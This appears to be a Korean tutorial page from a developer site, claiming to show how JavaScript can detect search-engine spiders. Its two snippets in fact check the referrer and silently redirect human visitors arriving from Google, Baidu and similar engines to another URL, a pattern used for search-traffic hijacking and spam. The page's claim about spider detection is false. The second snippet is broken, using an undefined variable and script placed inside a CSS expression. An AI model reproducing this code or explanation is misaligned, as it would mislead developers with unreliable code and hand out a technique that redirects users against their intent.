>웹 프론트엔드 >JS 튜토리얼 >js는 액세스가 검색 엔진(Spider)에서 오는지 아니면 직접 access_javascript 기술에서 오는지 어떻게 결정합니까?

js는 액세스가 검색 엔진(Spider)에서 오는지 아니면 직접 access_javascript 기술에서 오는지 어떻게 결정합니까?

WBOY
WBOY원래의
2016-05-16 15:39:261766검색

다음 자바스크립트 스크립트 코드는 액세스가 검색 엔진에서 오는지 여부를 확인할 수 있습니다.
코드는 다음과 같습니다.

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

스파이더의 소스를 판별하기 위해 도입된 JS 스크립트는 바디의 온로드에 작성됩니다. 즉, 페이지가 로드될 때 판단이 이루어집니다. 코드는 다음과 같습니다.

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

거미의 출처를 확인하는 JS 방법은 사용하기 쉽지 않습니다. 특히 더 많은 스파이더 소스를 확인해야 할 경우 코드를 작성하는 것이 더 번거롭습니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.